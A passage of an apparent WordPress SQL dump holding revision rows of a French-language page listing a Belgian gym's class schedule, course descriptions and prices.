class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:57:10', '2013-07-03 17:57:10', '', 11, 'http://www.crosstrainingcenter.be/?p=204', 0, 'revision', '', 0),
(207, 1, '2013-07-03 18:03:14', '2013-07-03 18:03:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:03:14', '2013-07-03 18:03:14', '', 11, 'http://www.crosstrainingcenter.be/?p=207', 0, 'revision', '', 0);
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(208, 1, '2013-07-03 18:04:14', '2013-07-03 18:04:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n&lt;br&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:04:14', '2013-07-03 18:04:14', '', 11, 'http://www.crosstrainingcenter.be/?p=208', 0, 'revision', '', 0),
